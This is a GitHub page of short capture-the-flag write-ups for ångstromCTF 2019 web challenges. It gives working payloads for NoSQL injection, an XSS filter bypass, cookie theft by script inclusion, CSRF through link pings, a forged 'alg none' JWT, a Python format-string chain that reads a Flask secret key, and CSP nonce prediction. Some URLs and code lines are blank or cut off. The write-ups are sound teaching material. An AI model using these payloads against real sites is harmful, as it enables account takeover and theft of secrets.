Skip to content
Branch: master
Find file History
Latest commit 844c603 Apr 26, 2019
Type Name Latest commit message Commit time
Failed to load latest commit information.
Cookie-cutter Angstrom 2019 - terjanq Apr 25, 2019
GiantURL Angstrom 2019 - terjanq Apr 25, 2019
Madlibbin Angstrom 2019 - terjanq Apr 25, 2019
Monster Angstrom 2019 - terjanq Apr 25, 2019
NaaS Angstrom 2019 - terjanq Apr 25, 2019
NoSequels2 Angstrom 2019 - terjanq Apr 25, 2019 fixed typos Apr 25, 2019

ångstromCTF 2019 -- quick write-ups by @terjanq (Web)

Control You

The flag was in the source code of the webpage actf{control_u_so_we_can't_control_you}

No Sequels

This was a basic NoSQL Injection task.

curl -i \
-H 'Content-type: application/json' \
-d '{"username": "admin", "password": {"$gt": "a"}}' \
-H 'Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjpmYWxzZSwiaWF0IjoxNTU1NzE4OTc5fQ.-YQh71DMt2mRIwKmgAKIB16rliriYF4dSilCsYo84-8'

After executing the above command we get a session cookie for the admin and when visiting the we get the flag. actf{no_sql_doesn't_mean_no_vuln}

No Sequels 2

This was the same task as before but here we had to use blind NoSQL injection in order to fetch all of the pasword's characters by using the payload above. E.g.

{"username": "admin", "password": {"$gt": "a"}} -> true
{"username": "admin", "password": {"$gt": "z"}} -> false

By bruteforcing all characters we get the password congratsyouwin and then the flag: actf{still_no_sql_in_the_sequel}

Solving script: ./NoSequels2/

DOM Validator

Detailed writeup available here:

We had a simple upload page that allowed you to upload a custom HTML page. You could report suspicious URLs to admin. After uploading the page we get:

<!DOCTYPE html SYSTEM "3b16c602b53a3e4fc22f0d25cddb0fc4d1478e0233c83172c36d0a6cf46c171ed5811fbffc3cb9c3705b7258179ef11362760d105fb483937607dd46a6abcffc">
		<link rel="stylesheet" href="">
		<script src=""></script>
		<script src="../scripts/DOMValidator.js"></script>

The <script>alert('pwned')</script> won't be executed because of the DOMValidator.js script:

function checksum (element) {
	var string = ''
	string += (element.attributes ? element.attributes.length : 0) + '|'
	for (var i = 0; i < (element.attributes ? element.attributes.length : 0); i++) {
		string += element.attributes[i].name + ':' + element.attributes[i].value + '|'
	string += (element.childNodes ? element.childNodes.length : 0) + '|'
	for (var i = 0; i < (element.childNodes ? element.childNodes.length : 0); i++) {
		string += checksum(element.childNodes[i]) + '|'
	return CryptoJS.SHA512(string).toString(CryptoJS.enc.Hex)
var request = new XMLHttpRequest()'GET', location.href, false)
if (checksum((new DOMParser()).parseFromString(request.responseText, 'text/html')) !== document.doctype.systemId) {

It calculates some sort document's hash and then compares it with the original. I haven't even looked into the code because I already knew an unintended solution for this one.

The page wasn't setting any X-XSS-Protection header so the XSS-Auditor in Chrome 74 (that's the version the admin uses) is set to mode=filter so any reflected XSS will be filtered and not executed.

So I appended the xss=<script src=""> parameter to the query so the sha512.js script will be filtered and the DOMValidator.js will crash. Hence, <script>alert('pwned')</script> will be executed.

After sending that URL to the admin we get the flag: actf{its_all_relative}

Cookie Monster

Once again, we've got a simple webpage with URL reporting functionality. After a quick inspection we see two endpoints /getflag and /cookies. When visiting /cookies our cookies are being displayed and it looks like user_DE7aL1xDCe3BauCWqSVqg_0C5bu2078UgQHIqYsF2h0= 311. That's a valid variable in JavaScript so by including this script on the prepared website

<script src=''></script>

and then reading the window variable

var name = Object.getOwnPropertyNames(window).filter(x=>x.indexOf('admin')!=-1)[0];

we get the admin's cookie admin_GgxUa7MQ7UVo5JHFGLbqzuQfFFy4EDQNwZWAWJXS5_o= and then the flag: actf{defund_is_the_real_cookie_monster}


We have a website where we can:

  • create redirect URL GET /redirect
  • change admin's password POST /admin/changepass
  • report URL POST /report

The website is not protected by any CSRF tokens but the SameSite=Lax cookie is set so we can't do any POST requests across different origins.

if ($path === '/admin/changepass' && $_SERVER['REQUEST_METHOD'] === 'POST' && $_SESSION["admin"] === "true") {
    if (strlen($_REQUEST['password']) >= 100 && count(array_unique(str_split($_REQUEST['password']))) > 10) {
        $password = $_REQUEST['password'];
        echo 'Successfully changed password.';
    } else {
        echo 'Password is insecure.';
file_put_contents("password", $password);

In order to get the flag we have to somehow change the admin's password. We can see that it must be a POST request but the password can be passed as a URL parameter.

In the /redirect we have a vulnerable code:

Click on <a href=<?php echo htmlspecialchars($_REQUEST['url']); ?>>this link</a> to go to your page!

In theory we could insert the xss there, like for example: <a href=aa onclick=alert()>this link</a> but CSP will block such attempts because of the Content-Security-Policy: default-src 'self'; style-src 'unsafe-inline'; header.

However, there is a ping feature in <a> elements that sends a POST request when the link was clicked. So we can insert <a href=aa ping="/admin/changepass?password=LONG_PASSWORD">this link</a> in the /redirect and then when the admin clicks on that URL their password will change. The full payload:

After that we can log in using the new credentials and we get the flag: actf{p1ng_p0ng_9b05891fa9c3bed74d02a349877b1c60}

Cookie Cutter

The chalange is about hacking the JWT cookie. To get the flag we have to pass this check:

let sid = JSON.parse(Buffer.from(cookie.split(".")[1], 'base64').toString()).secretid;
if(sid==undefined||sid>=secrets.length||sid<0){throw "invalid sid"}
let decoded = jwt.verify(cookie, secrets[sid]);
    res.locals.flag = true;

where the secrets is an array containing randomly generated secrets

let secret = crypto.randomBytes(32)
cookie = jwt.sign({perms:"user",secretid:secrets.length,rolled:res.locals.rolled?"yes":"no"}, secret, {algorithm: "HS256"});

The cookie looks like:

  "alg": "HS256",
  "typ": "JWT"
  "perms": "user",
  "secretid": 1394,
  "rolled": "no",
  "iat": 1555925889

By providing the cookie: eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJwZXJtcyI6ImFkbWluIiwic2VjcmV0aWQiOiJyYW5kb21zdHIiLCJyb2xsZWQiOiJubyJ9. which after decoding looks like

  "typ": "JWT",
  "alg": "none"
  "perms": "admin",
  "secretid": "randomstr",
  "rolled": "no"

we will get the flag, becasue secrets["randomstr"] will return undefined and we set the algorithm to none.

The flag is: actf{defund_ate_the_cookies_and_left_no_sign}


In the challenge we could insert a template string that will be interpreted in Python's "".format(args=request.args) function. So the string {args} will return ImmutableMultiDict([]). The goal was to read app.secret_key value.

By running the server locally and using the script from, I found out the chain of properties that led to object {args.__class__.__weakref__.__objclass__._iter_hashitems.__globals__[__loader__].__class__.__weakref__.__objclass__.get_data.__globals__[__loader__].exec_module.__globals__[__builtins__][__build_class__].__self__.copyright.__class__._Printer__setup.__globals__[sys].modules[flask].current_app.secret_key}.

And the flag is: actf{traversed_the_world_and_the_seven_seas}

Solving script: ./Madlibbin/ $ python3 -m flask run


It was a basic task for cracking the Python's random generator. The solution was to request enough nonces from to predict the upcoming ones. To crack the random generator I used the tool:

After successful prediction of the nonces you only had to create a paste with <script nonce=Nonce1></script><script nonce=Nonce2></script><script nonce=Nonce3></script>... so you can be sure that when the admin visits the page one of them will work.

After getting the admin's cookie we get the flag: actf{lots_and_lots_of_nonces}

Solving script: ./NaaS/

You can’t perform that action at this time.